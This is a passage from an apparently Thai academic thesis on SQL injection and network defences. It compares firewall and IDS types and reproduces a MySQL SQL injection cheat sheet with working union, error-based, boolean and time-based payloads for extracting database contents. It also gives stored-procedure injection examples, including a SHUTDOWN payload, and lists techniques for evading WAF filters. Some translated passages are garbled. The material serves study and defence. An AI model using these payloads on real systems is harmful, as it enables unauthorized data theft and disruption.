ผูใชและไมมีอะไรสําหรับการสงผาน: 
 
SELECT * FROM Accounts WHERE user=' '; exec xp_logininfo 
'BUILTIN\Administrators'; -- ' AND pass=' ' AND eid= 

 

 ในตัวอยางนี้สรางข้ึนในข้ันตอนการเก็บ "xp_logininfo" จะถูกดําเนินการเพื่อใหไดรับ
ขอมูลเกี่ยวกับ The BUILTIN\Administrators Windows group ท่ีผูใชกําหนดวิธีการจัดเก็บ จะเขียน
โดยโปรแกรมเมอรและมีความเส่ียงจึง มันควรจะกลาววาท้ังหมดของ SQLIAs สามารถใชสถานท่ี
ของวิธีการจัดเก็บฐานขอมูลตนแบบโดยวิธีการของพารามิเตอรของพวกเขาเชนเดียวกับดาน Web 
Application  นั่นหมายความวาวิธีการจัดเก็บสามารถเปนความเส่ียงท่ีจะถูก SQLIAs เดียวกับรหัส 
web application 
 ตัวอยาง: ผูโจมตีใส “user1” into user field and “'; SHUTDOWN; --” ลงในชองผาน
และไมมีอะไรสําหรับ Eid นี้: 
 
CREATE PROCEDURE DBO.isAuthenticated  
@userName varchar2, @pass varchar2, @pin int  
AS 
EXEC("SELECT * FROM Accounts  
WHERE user='" + @username + "' and pass='" + @password +  
"' and eid=" +@id);  

GO 
 

 ผลสรุปของ query : 
 

SELECT * FROM Accounts WHERE user='user1' AND pass=' '; SHUTDOWN; -- 
' AND eid= 
 

 ในตัวอยางขางตนเรามีการโจมตีแบบ piggyback ในสวนท่ีถูกฝงซ่ึงเปนฐานขอมูลท่ีถูก
ปดจะถูกดําเนินการในแบบ query แรก 

 

 

 



14 

2.4  การเปรียบเทียบ Firewall และ Intrusion Detection System (IDS) 
 งานวิจัยของ Archana D wankhade1 และ Dr P.N.Chatur2[4] ไดกลาวไววา 
 Firewall 
 อุปกรณท่ีมีการเช่ือมตอท่ีปลอดภัยระหวางระบบเครือขายท่ีใชในการดําเนินการและ
บังคับใชตามนโยบายรักษาความปลอดภัยสําหรับการส่ือสารระหวางเครือขาย ขอกําหนดของ 
Firewall นั้นจะถูกกําหนดใหใชอยางสรางสรรคในการสรางบารเรียข้ึนมาเพ่ือปองกันการ
แพรกระจายของ Fire จากสวนหนึ่งของอาคารหรือโครงสรางไปสูท่ีอ่ืนๆ Network Firewall นั้นจะ
จัดเตรียมบารเรียระหวางเครือขายเพ่ือขัดขวางหรือปฏิเสธการสงผานท่ีไมพึงประสงคหรือไมไดรับ
อนุญาตท่ีไดระบุไวบนอุปกรณ Firewall จะมีจุดท่ีถูกควบคุมรายการเขาและออกจากทรัพยากร
เคร่ืองคอมพิวเตอรของ Firewall ยังเปนการวัดผลทางดานการรักษาความปลอดภัยบนเครือขายเปน
ดานแรกอีกดวย 
 ประเภทของ Firewall 
 2.4.1  Firewall Packet Filtering 
 Packet filtering systems จะกําหนดเสนทางระหวางโฮสตภายในและภายนอก และจะ
กระทําโดยการเลือกมาอยางดีแลวมันจะอนุญาตหรือบล็อกแพ็คเก็ตประเภทใดๆ ก็แลวแต โดยอิง
ถึงนโยบายความปลอดภัยของเว็บไซตเอง 
 2.4.2  Stateful-inspection Firewall 
 Stateful-inspection คือการเพ่ิมประสิทธิภาพของเทคโนโลยีการกรองแพ็คเก็ต (packet 
filter technology) นอกจากน้ีการตรวจสอบเนื้อหาแพ็คเก็ตของแตละบุคคลท่ี Stateful-inspection 
ตรวจสอบนั้นนอกจากจะตรวจสอบเน้ือหาแลวยังสามารถตรวจสอบคุณลักษณะของ multipacket 
flows ไดอีกดวย แตกตางจาก packet-filtering firewalls, โดย Stateful Firewalls จะติดตามสถานะ
ของการเช่ือมตอวาการเช่ือมตออยูในกระบวนการใด เชน การเร่ิมตน การยายโอนขอมูล หรือยกเลิก
การสงขอมูล ส่ิงนี้จะเปนประโยชนเม่ือตองการที่จะปฏิเสธการเร่ิมตนของการเช่ือมตอจากอุปกรณ
ภายนอก แตจะยอมให user นั้นสรางการเช่ือมตอกับอุปกรณเหลานี้และอนุญาตใหมีการตอบ
กลับมาผานระบบ Stateful Firewall 
 2.4.3  Network Address Translation (NAT) Firewall 
 Network Address Translation จะยอมรับใหเครือขายท่ีจะใชหนึ่งชุดของ network 
addresses ภายในและชุดท่ีแตกตางกัน  มีการติดตอกับเครือขายภายนอก  Network Address 
Translation จะไมทํางานดวยตัวมันเอง แตมันจะชวยใหการปกปดรูปแบบเครือขายภายในและการ 
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บังคับใหเชื่อมตอไปผานจุด choke point เพื่อเช่ือมตอไปสู untranslated addresses จะไมทํางาน The 
choke point จะกระทําการแปลง (translation) คลายๆ กับ packet filtering, network address 
translation จะทํางานโดยมีเราเตอรทํางานในแบบพิเศษ ในกรณีนี้ไมเพียงแตเราเตอรท่ีไดทําการ 
สงแพ็กเก็ตแลวแตยังรวมถึงการปรับเปล่ียนเม่ือเคร่ืองภายในสงแพ็คเก็ตสูภายนอกอีกดวย 
 ระบบ Network Address Translation สามารถปรับเปล่ียนแหลงท่ีมาของแพ็คเก็ตท่ีจะ
ทําใหสามารถดูแพ็คเก็ตราวกับวามันจะมาจากท่ีอยูท่ีถูกตอง เม่ือเคร่ืองภายนอกสงแพ็คเก็ตเขาสู
ภายในระบบ Network Address Translation จะปรับเปล่ียน address ปลายทางท่ีเปดอยูใหมองเห็น
ไดจากภายนอกเขาสู address ภายในท่ีถูกตองได 
 ระบบ Network Address Translation ยังสามารถปรับเปล่ียน port ตนทางและ port 
ปลายทางไดอีกดวย ระบบ Network Address Translation สามารถใชรูปแบบท่ีแตกตางกันสําหรับ
การ translating ระหวาง address ภายในและภายนอก โดยกําหนดใหหนึ่ง external host address ใน
แตละ internal address มักจะใช translation ภาษาเดียวกัน วิธีนี้จะทําใหประหยัดพื้นท่ีของ address 
space และชะลอการเช่ือมตอ โดยปกติจะเปนมาตรการช่ัวคราวท่ีใชโดยเว็บไซตท่ีใช address ท่ีผิด
กฎหมายอยู แตกําลังอยูในกระบวนการของการยายไปใช address ท่ีถูกตอง 
 การกําหนดแบบ Dynamically ให external host address ในแตละคร้ังท่ีมีการเช่ือมตอ
กับ internal host address เร่ิมตนการเช่ือมตอโดยไมตองเปล่ียน port ซ่ึงจะจํากัดจํานวนของ internal 
host ท่ีสามารถเขาถึงอินเทอรเน็ตไดในจํานวนท่ี external addesses วาง การสราง fixed mapping 
จาก internal address ทีมองเห็นไดจากภายนอก แตใช port mapping เพื่อใหอุปกรณภายในหลาย
เคร่ืองใช addresses เดียวกันกับภายนอก 
 การกําหนดแบบ Dynamically นั้น external host address และ port pair ในแตละคร้ังท่ี
โฮสตภายในเร่ิมตนการเช่ือมตอ ส่ิงนี้จะทําใหการใชงาน external host addresses เปนไปอยางมี
ประสิทธิภาพมากท่ีสุด 
 2.4.4  Application Based Firewall (Proxy Firewall) 
 แพ็คเก็ตซอฟตแวรท่ีจัดการจะยอมรับหรือปฏิเสธ (allows or denies) การเขาถึง
เครือขาย ประวัติจะเก็บขอมูลคนท่ีพยายามจะเขามาและส่ิงท่ีเขาไดกระทําไปแลวเอาไว ในวิธีการนี้ 
Firewall ยังคงตอนําไปใชในการควบคุมของ Traffic Application ในระดับ Gateway ทําหนาท่ีเปน 
proxy ในการใชงาน แสดงการแลกเปล่ียนขอมูลท้ังหมด ส่ิงนี้สามารถ render เคร่ืองคอมพิวเตอร
หลัง firewall ได แตมองไมเห็นระบบ remote system มันสามารถอนุญาตหรือไมอนุญาต traffic 
ตามกฎท่ีเฉพาะเจาะจง ตัวอยางเชน การอนุญาตใหบางคําส่ังสงไปยังเซิรฟเวอร แตไมสงไปท่ีอ่ืน  
และจํากัดการเขาถึงไฟลบางประเภทที่แตกตางกันไปตามกฎระเบียบท่ีผูใชสิทธ์ิไดตั้งเอาไว 
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 Firewall ประเภทนี้นั้นอาจจะแสดงผลของรายละเอียดเจาะลึกของ traffic และ 
monitoring เหตุการณท่ีเกิดข้ึนใน host system และมักจะสงเสียงสัญญาณเตือนหรือแจงเตือนตาม
เหตุการณภายใตเง่ือนไขท่ีถูกกําหนด 
 การดําเนินงานใน Application Firewall: 
 ข้ันตอนท่ี 1:  ขอ HTTP เร่ิมจาก 192.168.6.77:3128 Client Browser 
 ข้ันตอนท่ี 2:  Firewall - HTTP Proxy รับคําขอและ filter ข้ึนอยูกับกฎและนโยบาย 
 ข้ันตอนท่ี 3:  ตรวจสอบคําขอ HTTP จาก 60.45.2.6 (Application Firewall) ท่ีมีตอ web 
application server 
 ขั้นตอนท่ี 4:  HTTP ตอบสนองตอ 60.45.2.6 จาก internet server 
 ข้ันตอนท่ี 5:  Proxy Firewall ทํา content based filtering  อีกคร้ัง 
 ข้ันตอนท่ี 6:  ตอบสนองตอ object ท่ีสงตอไปยัง client machine’s browser 
 2.4.5  Hybrid firewalls 
 ลาสุดความกาวหนาของ  network infrastructure engineering และการรักษาความ
ปลอดภัยดานขอมูล ไดกอใหเกิด blurring of the lines ท่ีแตกตางจาก Firewall แพลตฟอรมตางๆ 
ท่ีกลาวถึงกอนหนานี้เปนผลเน่ืองมาจากส่ิงเหลานี้ : ผลิตภัณฑ firewall ในปจจุบันไดรวมฟงกชัน
การทํางานของฟงกช่ันที่แตกตางกันของ firewall เอาไวในตัวเดียว 
 ยกตัวอยางเชน Application-Proxy Gateway firewall หลายฟงกช่ันไดดําเนินการ 
packet filter ข้ันพื้นฐานในการส่ังซ้ือ เพื่อใหการสนับสนุน UDP (User Diagram) ท่ีดีกวาตามการ
ใชงาน Apllication ในทํานองเดียวกันกับการ packet filter จํานวนมากหรือ Stateful inspection 
packet filter ซ่ึง vendors ไดดําเนินการการทํางานฟงกช่ันพื้นฐานของ application-proxy ในการ
ชดเชยบางสวนของจุดออนท่ีเกี่ยวของกับแพลตฟอรมของ firewall โดยกรณีสวนใหญจะทําการ 
packet filter หรือ Stateful inspection packet filter เพื่อตรวจสอบการใช application proxies เพื่อให
การเขา traffic ของระบบเครือขายและตรวจสอบผูใชไดดีข้ึน 
 บอยคร้ังท่ีตัวเลือกท่ีดีที่สุดคือ firewall ท่ีมีสถาปตยกรรมแบบ hybrid ท่ีสามารถรวม 
packet filtering และ application layer proxies ไดส่ิงนี้จะชวยใหอุปกรณการปองกัน firewall ของ
องคกรเพิ่มประสิทธิภาพการทํางานและยังรักษาความเหมาะสมของการรักษาความปลอดภัย
สําหรับความเส่ียงท่ีคลายกัน 
 Hybrid firewalls จะทําการ packet filtering แบบเรียบงายเพื่อใหอัตราความเร็วสูง
สําหรับ lowest-risk traffic ตรวจสอบอยางเต็มรูปแบบสําหรับ slightly riskier traffic และ 
application layer gateway ท่ีท่ีมีความเส่ียงของการถูกโจมตีท่ีขับเคล่ือนทางขอมูลมากท่ีสุด 
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ภาพท่ี 2.2  การเปรียบเทียบ Firewall แตละประเภท 
 

 2.4.6  ขอจํากัดของ Firewall 
 Firewall มีการปองกันท่ีดีเยี่ยมตอภัยคุกคามบนระบบเครือขาย แตไมไดเปนโซลูช่ัน
ระบบรักษาความปลอดภัยท่ีสมบูรณแบบ 100% ภัยคุกคามบางอยางท่ีอยูนอกเหนือการควบคุมของ 
Firewall จึงตองคิดหาทางอ่ืนๆ เพ่ือปองกันภัยคุกคามเหลานี้ดวยเชน การรักษาความปลอดภัยท่ี
แบบทางกายภาพ (physical security) การรักษาความปลอดภัยโฮสต (host security) และการศึกษา
ผูใชเพื่อวางแผนการรักษาความปลอดภัยโดยรวมใหกับองคกร จุดออนบางจุดของ Firewall 
จะกลาวถึงดังนี้ 
 Firewall ไมสามารถปองกันใหไดจากภัยอันตรายท่ีเกิดจากภายใน 
 Firewall ไมสามารถปองกันใหไดจากการเช่ือมตอท่ีไมผานอุปกรณ Firewall 
 Firewall ไมสามารถปองกันภัยคุกคามใหมท่ีสมบูรณแบบได 
 Firewall ไมสามารถปองกันตอไวรัสท่ีสมบูรณแบบได 
 Firewall ไมสามารถตั้งคาดวยตัวมันเองไดอยางถูกตอง 
 Firewall ไมสามารถปฏิบัติกับปญหาท่ีแทจริงได 
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 Intrusion Detection System (IDS) 
 Intrusion Detection System (IDS) คือ  ชุดของเทคนิคและวิ ธีการ ท่ีจะใชในการ
ตรวจสอบกิจกรรมท่ีนาสงสัยท้ังในระดับเครือขายและระดับ host ระบบตรวจจับการบุกรุกตกอยู
ในสองประเภทพื้นฐานดังนี้ ระบบตรวจจับการบุกรุกแบบ signature-based และการตรวจสอบ
ความผิดปกติของระบบ  (anomaly detection system) ผู บุกรุกมี  signatures คลายๆ  กับไวรัส
คอมพิวเตอรท่ีสามารถตรวจพบการใชซอฟตแวรได คุณพยายามท่ีจะหา data packets ที่มี intrusion-
related signatures หรือ anomalies related ท่ีเกี่ยวของกับอินเทอรเน็ตโปรโตคอล ข้ึนอยูกับการ 
ตั้งคาของ signatures และกฎระเบียบของระบบการตรวจสอบท่ีสามารถใชในการคนหาและบันทึก
กิจกรรมท่ีนาสงสัยและสรางการแจงเตือน 
 ระบบการตรวจจับการบุกรุกแบบ Anomaly-based มักจะข้ึนอยูกับความผิดปกติของ
แพ็คเก็ตท่ีมีอยูในสวนของ protocol header ในบางกรณีวิธีการเหลานี้กอใหเกิดผลท่ีดีข้ึนเม่ือเทียบ
กับ signature-based IDS ระบบตรวจจับการบุกรุกจะจับขอมูลจากเครือขายและใชกฎเพื่อตรวจหา
ความผิดปกติในนั้น 
 ประเภทของ IDS 
 2.4.7  Network IDS 
 NIDS คือระบบตรวจจับการบุกรุกท่ีจับแพ็กเก็ตขอมูลการเดินทางบนเครือขาย 
(สายเคเบิล, wireless) และทําการจับคูควบกันไปยังฐานขอมูลขอ signatures ข้ึนอยูกับวาแพ็คเก็ตจะ
ถูกจับคูกับ signature ของผูบุกรุก การแจงเตือนจะถูกสรางข้ึนหรือถูกบันทึกแพ็คเก็ตลงในไฟลหรือ
ฐานขอมูล 
 2.4.8  Host IDS or HIDS 
 ระบบตรวจจับการบุกรุก Host-based หรือ HIDS ถูกติดต้ังแทน agents on a host ระบบ
ตรวจจับการบุกรุกเหลานี้สามารถมองเขาไปในระบบและเขาถึง  application log files เพื่อ
ตรวจสอบไฟลกิจกรรมของผูบุกรุกได บางสวนของระบบเหลานี้มีปฏิกิริยาวาอุปกรณไดแจงให
ทราบถึงบางส่ิงเม่ือมีเหตุการณเกิดข้ึน 
 บาง HIDS นั้นก็เปนเชิงรุก สามารถ sniff traffic บนเครือขายที่จะมาเปน particular host 
โดยเฉพาะอยางยิ่งในการท่ี HIDS ถูกติดต้ังและแจงเตือนแบบ real time 
 2.4.9 Protocol based IDS 
   Orifice based IDS นั้นจะถูกติดต้ังบนเซิรฟเวอรและมันจะทําการวิเคราะหเซิรฟเวอร  
มันต้ังอยูท่ี fromt end ของเซิรฟเวอร เพื่อ monitoring และวิเคราะหพฤติกรรมแบบไดนามิกและ
สถานะการส่ือสารของโปรโตคอลระหวางอุปกรณท่ีเช่ือมตอและเซิรฟเวอร 
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 2.4.10  Application protocol based IDS 
 Application protocol based IDS ปกติจะต้ังอยูระหวางกลุมของการใหบริการกับ
กระบวนการตรวจสอบและวิเคราะหพฤติกรรมและสถานะของโปรโตคอลในการใชงานโดยระบบ 
ระหวางอุปกรณสองตัวท่ีเช่ือมตอกัน 
 2.4.11 Anomaly based IDS 
 Anomaly based IDS จะตรวจพบการโจมตีคอมพิวเตอรโดยการตรวจสอบการทํางาน
ของระบบและการจําแนกวามันเปนปกติหรือผิดปกติ และจะพยายามท่ีจะอธิบายลักษณะพฤติกรรม
ท่ีผิดปกติและพยายามตรวจสอบการเบ่ียงเบนจากพฤติกรรมปกติ  ขอดีของการตรวจสอบความ
ผิดปกติแบบนี้ มีอัตราการตรวจจับท่ีคอนขางสูงสําหรับรูปแบบการโจมตีแบบใหม 
 2.4.12  Misuse Based 
 เรียกวาเปน Signature based IDS สามารถดําเนินการตามขั้นตอนท่ีเรียบงายของการ
จับคูในรูปแบบท่ีสอดคลองกันกับประเภทของการโจมตีท่ีมันรูจักกัน นอกจากนี้ยังเปนท่ีรูจักกันใน
รูปแบบ based IDS ประโยชนหลักของ signature based IDS คือมีอัตราการเตือนภัยท่ีผิดพลาด
คอนขางตํ่า ซ่ึงหมายความวามันมีความแมนยําคอนขางสูง และขอเสียเปรียบหลักขอ IDS เหลานี้คือ
การท่ีอัตราการตรวจจับการโจมตีคอนขางตํ่าเพราะผูโจมตีจะพยายามปรับเปล่ียนพ้ืนฐาน attack 
signature ในลักษณะท่ีวามันจะไมตรงกับ signature ท่ีรูจักในการโจมตีนั้นๆและมันไมสามารถ
ตรวจพบการโจมตีใหมซ่ึงเปน signature ท่ียังไมถูกติดต้ังในฐานขอมูล 
 2.4.13  Hybrid based 
 Hybrid based IDS จะรวมเปนหนึ่งหรือมากกวาหนึ่งวิธี Host agent data จะถูกรวมเขา
กับขอมูลเครือขายในรูปแบบมุมมองท่ีครอบคลุมท้ังเครือขาย 
 2.4.14  ฟงกช่ันของ IDS 
 ระบบตรวจจับการบุกรุกจะแสดงความหลากหลายของฟงกช่ัน 
 ตรวจสอบและวิเคราะหผูใชและระบบกิจกรรม 
 การตรวจสอบของการกําหนดคาระบบและชองโหว 
 การประเมินความสมบูรณของระบบท่ีสําคัญและไฟลขอมูลท่ีสําคัญ 
 การรับรูรูปแบบกิจกรรมท่ีสะทอนใหเห็นถึงการโจมตีท่ีรูจัก 
 การวิเคราะหทางสถิติตอรูปแบบกิจกรรมท่ีผิดปกติ 
 ระบบปฏิบัติการการจัดการตรวจสอบรองรอย ดวยความจําของกิจกรรมของผูใช
สะทอนใหเห็นถึงการละเมิดนโยบาย 
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 2.4.15 ขอจํากัดของ IDS 
 การตรวจหาการโจมตีหลังจากท่ีผูบุกรุกไดเขาไปในเครือขายแลวและไมไดทําอะไร
เพื่อหยุดการโจมตี 
 ไมสามารถคาดหวังในการตรวจสอบกิจกรรมท่ีเปนอันตรายท้ังหมด ไดตลอดเวลา การ
แจงเตือนท่ีจะเปน false positive or false negative alarm ก็ได 
 ไมสามารถผสมผสานเขากันกับกฏการรักษาความปลอดภัย (filtering rules security) 
เพื่อหยุด traffic จากการโจมตี 

 
2.5  แผนกลโกง MySQL SQL Injection 
 บทความขอ Perspective Risk [5] ไดกลาวไววา มีวิธีลัดโดยใช SQL Injection มากมาย 
อยางไรก็ตามพบวา คนสวนใหญไดระบุสวนประกอบของ SQL Injection มากกวาการทํางานของ 
String ซ่ึงสงผลใหไมประสบความสําเร็จในการทดลอง จากความผิดพลาดและการเสียเวลาท่ีผาน
มา ทําใหไดพยายามสรางรายการของ pre-made String สําหรับประเภทของ SQL Injection เพื่อให
สามารถทํางานและรองรับการเปล่ียนแปลงได SQL Injection สามารถแบงไดออกเปน 3 ประเภท 
ไดแก Union Based, Error Based (XPath and Double Query) และ inferential (Time Based and 
Boolean) ดานลางนี้จะพบกับรูปแบบคําส่ังท่ีเฉพาะเจาะจง ท่ีไดลงวิธีลัดสําหรับ MSS มาใหเพื่อ
หลีกเล่ียงความซํ้าซอน ทุกที่ท่ีพบเห็น:  
 version()  -  ใชในการดึงรุนฐานขอมูล 

 database()  -  เพื่อเรียกช่ือฐานขอมูลปจจุบัน 
 user()  -  เพื่อเรียกช่ือผูใชฐานขอมลท่ีทํางานภายใตฐานขอมูล 
 @@hostname  -  เพื่อเรียก hostname และ IP address ในเคร่ืองแมขาย  
 @@datadir  -  เพื่อเรียกตําแหนงไฟลของฐานขอมูล 

 จากตัวอยางนั้นถูกสรางข้ึนเพื่อใสขอมูลเขาไปใน integer และหากเปนขอมูล String ให
ใสคําส่ังเดี่ยวเขาไปหลังพารามิเตอร ผมยังไดรวมความคิดเห็นของคุณลักษณะในการใส String 
อยางไรก็ตามไมจําเปนตองข้ึนอยูกับการใสแบบสอบถาม SQL อันนี้ สุดทายอยาลืมชองวางสําหรับ
คําแนะนํา 
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 2.5.1 Union Based 
 UNION ใชสําหรับการตอทาย SQL Injection เพื่อการสืบคนขอมูลท่ีถูกตองตามกฎ
และรวบรวมขอมูลท่ีเราไดดึงมาจากแบบสอบถามท่ีถูกตองตามกฎ โปรดทราบวาจะตองระบุ
จํานวนแถวแรก สามารถทําไดโดยใชฟงกช่ัน ORDER BY หรือใช UNION with NULL values. 
Assuming there are two columns: 
 

Retrieve database version: 
 

1 UNION ALL SELECT NULL,version()-- 

Retrieve database names: 

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata-- 

Retrieve table names: 

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM 
information_schema.TABLES WHERE table_schema='database1'-- 

Retrieve column names: 

1 UNION ALL SELECT NULL,concat(column_name) FROM 
information_schema.COLUMNS WHERE TABLE_NAME='table1'-- 

Retrieve data: 

1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM table1-- 

Retrieve data from another database: 

1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM 
database2.table1-- 

 
 2.5.2  Error Based 
 เม่ือเกิดขอผิดพลาดของ MySQL สามารถใชชองทางผานขอผิดพลาดน้ัน ในการโจมตี
ไดโดยวิธีการนี้สามารถใชเคร่ืองมือท่ีช่ือวา Burp’s Intruder และ grep extract ได 
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 2.5.3  XPath 
 การทํางานแบบ ExtractValue() สรางขอผิดพลาด SQL เม่ือมันไมสามารถแยกขอมูล 
XML ได โชคดีท่ีในขอมูล XML และในกรณีของเรา จะไดรับการประเมินผลของแบบสอบถาม 
โดยจะฝงตัวในขอผิดพลาดท่ีตามมา กอน full stop หรือ a colon (ดานลางใชเลขฐานสิบหกของ 
0x3a) เพื่อเปนการเร่ิมตนแบบสอบถาม XML ใหแนใจวาการวิเคราะหขอมูลจะลมเหลว และสราง
ขอผิดพลาดมากับขอความที่จํากัด โปรดทราบวาการทํางานน้ีสามารถทํางานไดเฉพาะกับ MySQL 
version 5.1 หรือสูงกวา และใชฟงกช่ัน LIMIT ในการเขาสูขอมูลของฐานขอมูล 
 

Retrieve database version: 
 

1 AND extractvalue(rand(),concat(0x3a,version()))-- 

Retrieve database names: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM 
information_schema.schemata LIMIT 0,1)))-- 

Retrieve table names: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM 
information_schema.TABLES WHERE table_schema="database1" LIMIT 0,1)))-- 

Retrieve column names: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM 
information_schema.TABLES WHERE TABLE_NAME="table1" LIMIT 0,1)))-- 

Retrieve data: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(column1,0x3a,column2) FROM 
table1 LIMIT 0,1)))-- 

Retrieve data from another database: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(column1,0x3a,column2) FROM 
database2.table1 LIMIT 0,1)))-- 
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 2.5.4  Double Query 
 การทํางานท่ีใชดานลางนี้ไดผสานการผลิตแบบสอบถามโดยถูกยอมรับโดย MySQL 
compiler แตขอผิดพลาดขณะทํางานนั้นจะถูกสงกลับ และมันจะประเมินและรวมการประเมินยอย 
(เนื่องจากคูท่ีเลือก), จึงสงผลการใสขอมูลกลับไป และเพ่ิม LIMIT แรก ไปในวงจรขอมูลของ
ฐานขอมูล 
 

Retrieve database version: 
 

1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x 
FROM information_schema.TABLES GROUP BY x)a)-- 

Retrieve database names: 

1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT schema_name 
FROM information_schema.schemata LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM 
information_schema.schemata GROUP BY a LIMIT 0,1)b)-- 

Retrieve table names: 

1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT TABLE_NAME 
FROM information_schema.TABLES WHERE table_schema="database1" LIMIT 
0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.TABLES GROUP BY a LIMIT 
0,1)b)-- 

Retrieve column names: 

1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name 
FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 
0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a 
LIMIT 0,1)b)-- 

Retrieve data: 

1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT column1 FROM 
table1 LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY 
x)a)-- 
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Retrieve data from another database: 

1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT column1 FROM 
database2.table1 LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES 
GROUP BY x)a)-- 

 
 2.5.5  Inferential 
 เม่ือไมมีขอมูลหรือขอความที่ผิดพลาดสงกลับมา สามารถใชเวลาท่ีลาชา หรือการ
ตอบสนองจริง / เท็จในการดึงขอมูลในฐานขอมูล โปรดทราบวาเคร่ืองมืออัตโนมัติ เชน sqlmap มี
นัยสําคัญในการเรงกระบวนการ 
 2.5.6  Boolean 
  ประเภทของการสกัดนี้จะใชเม่ือแอพลิเคชันสงกลับผลลัพธท่ีแตกตางกันข้ึนอยูกับ
แบบสอบถาม SQL และการประเมินวาจริงหรือเท็จ ถาเราแปลงคุณลักษณะแตละตัวของแตละสวน
ของฐานขอมูลท่ีตองการที่จะดึงการแสดงทศนิยม โดยใชฟงกช่ัน ASCII สามารถสรางเง่ือนไขจริง
หรือเท็จใชสัญลักษณมากกวานอยกวาและเทากับ แลวใชฟงกช่ันอักขระยอยและช้ินสวนของ
ฐานขอมูลโดยใช LIMIT ฟงกช่ัน 
 

Test for the presence of the vulnerability. This query should result in the original page being 
displayed: 
 

1 AND 1=1 

Whilst this query should return a different page: 

1 AND 1=2 

Retrieve version: 

1 AND (ascii(substr((SELECT version()),1,1))) > 52-- 

Note, a better way to retrieve the version in this context is to use the LIKE function: 

1 AND (SELECT version()) LIKE "5%"-- 
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Retrieve databases: 

1 AND (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 
0,1),1,1))) > 95-- 

Retrieve tables: 

1 AND (ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES 
WHERE table_schema="database1" LIMIT 0,1),1,1))) > 95-- 

Retrieve columns: 

1 AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS 
WHERE TABLE_NAME="table1" LIMIT 0,1),1,1))) > 95-- 

Retrieve data: 

1 AND (ascii(substr((SELECT column1 FROM table1 LIMIT 0,1),1,1))) > 95-- 

Retrieve data from another database: 

1 AND (ascii(substr((SELECT column1 FROM database2.table1 LIMIT 0,1),1,1))) > 95-- 
 

 2.5.7 Time Based 
 หากหนาเหมือนจะถูกสงกลับสําหรับการตอบสนองท่ีจริงหรือเท็จ เวลาท่ีลาชาสามารถ
สรางข้ึนโดยฟงกช่ัน IF และ SLEEP และใชในการสรุปขอมูลในฐานขอมูลแทน  
 

Test for the presence of the vulnerability: 
 

1 AND sleep(10)-- 

Retrieve version: 

1 AND IF((SELECT ascii(substr(version(),1,1))) > 53,sleep(10),NULL)-- 

Retrieve version using LIKE: 

1 AND IF((SELECT version()) LIKE "5%",sleep(10),NULL)-- 
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Retrieve databases: 

1 AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata 
LIMIT 0,1),1,1)))) > 95,sleep(10),NULL)-- 

Retrieve tables: 

1 AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES 
WHERE table_schema="database1" LIMIT 0,1),1,1))))> 95,sleep(10),NULL)-- 

Retrieve columns: 

1 AND IF(((ascii(substr((SELECT column_name FROM information_schema.COLUMNS 
WHERE TABLE_NAME="table1" LIMIT 0,1),1,1)))) > 95,sleep(10),NULL)-- 

Retrieve data: 

1 AND IF(((ascii(substr((SELECT column1 FROM table1 LIMIT 0,1),1,1)))) > 
95,sleep(10),NULL)-- 

Retrieve data from another database: 

1 AND IF(((ascii(substr((SELECT column1 FROM database1.table1 LIMIT 0,1),1,1)))) 
>95,sleep(10),NULL)-- 

 
2.6  เทคนิคเพิ่มประสิทธิภาพการหลบหลีกการตรวจจับ SQL Injection 
 บทความของ Roberto Salgado [6] ไดกลาวไววา 
 1. Optimization 
  Analysis of Methods 
  Bisection Method 
  Regex Method 
  Bitwise Methods 
  Bin2Pos Method 
  Optimizing Queries 
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 2. Obfuscation 
  Fuzzers 
  Encodings 
  URL encode 
  Double URL encode 
  Unicode encode 
  UTF-8 encode 
  Nibble encode 
  Invalid Percent encode 
  Invalid Hex encode 
 3. Advanced Obfuscation 
  Common types of SQL filters 
  Bypassing SQL Injection filters 
  Case Variation 
  SQL Comments 
  URL Encoding 
  CAST and CONVERT keywords 
  Dynamic Query Execution 
  Null Bytes 
  Nesting Stripped Expressions 
  Truncation 
 4. More Advanced 
  Regexp Based WAF 
  NULL Alias 
  Floating Point 
  Hexadecimal Literals 
  Binary Literals 
  C-Style String Merging 
  Ad-Hoc Charset 
  Operators 
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  Expression 
  "IN" lists 
  Esp: 
 ในสารนิพนธนี้จะหารือและเปรียบเทียบความหลากหลายของวิธีการเพ่ิมประสิทธิภาพ
ซ่ึงสามารถมีประสิทธิภาพสูงเม่ือใชประโยชนจาก Blind SQL Injection นอกจากนี้ยังจะแนะนํา 
SQL Queries ซ่ึงสามารถใชในการถายโอนขอมูลฐานขอมูลท้ังหมดที่มีเพียงหน่ึงคําส่ัง ทําใหมัน
เปนเร่ืองงายมากท่ีจะดึงขอมูลไดอยางรวดเร็วในขณะท่ีจะไมมีใครสังเกตเห็น นอกจากนี้ยังจะ
ตรวจสอบเทคนิค obfuscation หลายอยางท่ีสามารถทําให SQL Injection หลุดลอดผานไฟรวอลล
